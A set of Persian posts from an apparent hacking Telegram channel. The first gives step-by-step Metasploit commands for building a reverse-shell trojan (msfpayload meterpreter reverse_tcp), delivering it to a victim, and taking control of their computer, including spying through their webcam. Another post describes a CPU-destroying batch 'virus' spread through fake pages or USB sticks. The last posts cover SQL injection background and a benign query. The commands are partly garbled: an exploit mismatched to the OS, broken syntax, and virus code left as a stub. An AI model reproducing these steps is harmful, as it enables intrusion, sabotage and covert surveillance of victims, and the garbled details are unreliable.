✅آموزش هک ویندوز8
جلسه دوم

خب اول متاسپلویت رو اجرا می کنیم
msfconsole
بعدش اکسپلویت خودمون رو فراخوانی می کنیم با دستور:
use windows/smb/ms08_067_netapi
حالا دوتا پنجره جدید ترمینال باز کنید اولی بزنید
ifconfig
توی خط دوم نوشته:
inet addr:Your Ip
حالا این ایپی رو بردارید و کپیش کنید توی ترمینال اون یکی بنویسید
msfpayload windows/metrpreter/reverse_tcp LHOST:YOUR IP LPORT:"harch delet mikhad faghat biyad adadesho yadet bemoone v hatmanam adad bashe" x >/root/Desktop/your trojan name.exe
حالا ی فایل توی دسکتاپتون ایجاد میشه میدیدش به تارگتتون
وقتی دادید میرید توی پنجره متاسپلویت و پورتی که باز کردید + ای پی تونو مینویسید به این شکل
set LHOST:ip shoma
set LPORT:hamony ke balal neveshtip
خب میزنید
exploit
یکم طول میکشه تا وصل شه حالا هرکاری دلتون خواست میتونید بکنید
با زدن دستور
-help
تمام دستور هایی که می تونید اجرا کنید رو مینویسه همراه با توضیح برای مثال
mkdir hacked by fullsecurity
اینجا برای هرکلمه ی پوشه می سازه طرف میاد میبینه 3 تا پوشه داره که نوشته شدن
hacked
by
Fullsecurity
یا
sysinfo
اطلاعاتی در مورد سیستم طرف میده
فقط یک دونه نکته هر دستوری رو که میزنید بعدش به کامپیوتر طرف وصل میشه و ی متنی مثلا اینطوری
Fullsecurity>Desktop
اضاف میشه که باید اون موقع بنویسید
exit
تا بره بیرون و اماده بشه برای دستور بعد
فک کنم فایلشو بشه کریپت کرد امتحان کنید من امنحان نکردم
مزیت خوبی که داره می تویند هرکاری دلتون خواست بکنید برای مثال از تو خونش با دوربین لپ تابش عکس بگیرید یا ... نگفتم چون میدونم ایرانی های عزیز بسیار به دوستانشون لطف می کنن و ی دوس دیگه میارن از سر شب تا صبح تو خونه طرفو رویت می کنن البته کسایی که یکم انگلیسی بلد باشن وقتی کانکت شدن می نویسن -help خودش تمام این کارارو همراه با دستورش می نویسه

فیلم آموزش بزودی .....

#amozesh #hack8 #kali #level2
🌹برترین کانال آموزش🌹
@FullSecurity

✅ویروس سوزاندن cpu



چگونگی کار : ابتدا نوت پد را باز کرده و کد زیر را در آن تایپ کنید .

cpu_567hjkblaster
این ویروس ادامه دارد که در جلسه بعد به ان میپردازیم...
سپس گزینه save as رو بزنید و آن فایل را بانام xxxx.bat هر نامی که میخواهید بگذارید فقط پسوند را تغییر ندهید .
☑️ نکته مهم : این کد ها را به هیچ وجه در کامپیوتر خود سیو نکنید.

نحوه دادن به قربانی : در اصل ما باید از مهندسی اجتماعی بهره بگیرم مثل
🌐کشاندن قربانی به صفحه ای که جعلی است و خودتان ساختید(اصطلاحا به آن فیک پیج می گویند. ) و دانلود کردن آن شخص .
☑️یا ریختن رو فلش و دادن به قربانی

🌐با ما باشید....
کانال رو به دوستاتون معرفی کنید.

Anthor:Amhacker
#virus #level2
🌹برترین کانال آموزش🌹
@FullSecurity

✅تزریق sql چیست ؟


مقدمه


بسیاری بر این باوراند که درمورد تزریق sql دارای اطلاعاتی هستند ، اما تمام آن چیزی که آنها در مورد آن شنیده اند ویا تجربه نموده اند ، نمونه هایی جزئی و کم اهمیت هستند. تزریق sql یکی از آسیب های مخرب و جدی برای یک تجارت است ، زیرا می تواند منجر به در معرض قرار گرفتن تمامی اطلاعات حساس ذخیره شده در پایگاه داده (دیتابیس) برنامه های کاربردی ، شامل اطلاعات مفیدی مانند نام های کاربری ، گذرواژه ها ، اسامی ، نشانی ها ، شماره تلفن ها و جزئیات کارت های اعتباری شود.





بنابراین تزریق sql دقیقا چیست ؟

تزریق sql ضعفی است که نتیجه ی دسترسی و نفوذ یک مهاجم به زبان کوئری ساختارمند sql است که یک برنامه کاربردی برای رسیدن به یک پایگاه داده back-end از طریق آن منتقل می شود . با داشتن توانایی نفوذ بر آنچه که به سمت پایگاه داده منتقل می شود ، مهاجم میتواند بر روی قابلیت های خود SQL کار کند و همچنین از قدرت و انعطاف پذیری پایگاه داده پشتیبان ، استفاده کند و سیستم عامل پایگاه داده را در دسترس خود قرار دهد.


تزریق SQL ضعفی نیست که منحصرا برنامه های کاربردی وب را تحت تاثیر قرار دهد. هر کدی که یک داده (ورودی ) را از یک منبع غیر قابل اطمینان ، پذیرفته و سپس از آن ورودی برای ایجاد گزاره های پویا SQL استفاده نماید میتواند آسیب پذیر باشد (مانند برنامه های کاربردی fast client در یک معماری / سرویس گیرنده / سرویس دهنده)





تزریق SQL احتمالا از هنگامیکه پایگاه های داده SQL برای نخستین بار به برنامه های کاربردی وب متصل شدند، وجود داشته است . با این حال Rain Forest Puppy افدام به کشف آن نمود و یا دست کم برای جلب توجه مردم به آن ، تلاش کرد. در روز کریسمس سال 1998 ، Rain Forest Puppy مقاله ای با عنوان آسیب پذیزی های فناوری وب NT برای مجله Phrack نوشت (یک مجله الکترونیکی نوشته شده توسط او برای هکرها). او همچنین متنی در مورد تزریق SQL در اوایل سال 2000 منتشر نمود (چگونه Packet Storm را هک کردم )، که در آن به تفضیل در مورد چگونگی استفاده از تزریق SQL برای لطمه زدن و تخریب یک وب سایت محبوب توضیح داده است . از آن زمان، محققان بسیاری ،روش هایی را برای بهره برداری وسوء استفاده از تزریق SQL توسعه و بهبود بخشیده اند . با این حال ، تا به امروز بسیاری از توسعه دهندگان و متخصصان امنیتی ، هنوز هم ماهیت آن را کاملا درک نکرده اند.

🌐با ما باشید....
کانال رو به دوستانتون معرفی کنید .

Anthor:Amhacker
#kali #level2
🌹برترین کانال آموزش🌹
@FullSecurity

✅نمونه کد


نمونه کد زیر به روشنی گزاره ی SQL یی را نشان می دهد که اسکریپت PHP ایجاد و اجرا می کند. این گزاره ، همه محصولاتی که در پایگاه داده قیمتی کمتر از 100 دلار دارند را باز می گرداند. سپس این محصولات ، نمایش داده شده و توسط مرورگر وب به گونه ای ارائه می شوند که می توانید خرید خود را با محدودیت ها و شرایط خاص مالی خود ادامه دهید.
در اصل تمام برنامه های کاربردی تعاملی پایگاه داده محور در وب سایت به شیوه ای یکسان یا دست کم به طریقه ای مشابه هم عمل می کنند.

SELECT *
FROM Products
WHERE Price < ‘100.00’
ORDER BY ProductDescription;

Anthor:Amacker
#kali #level2
🌹برترین کانال اموزش🌹
@FullSecurity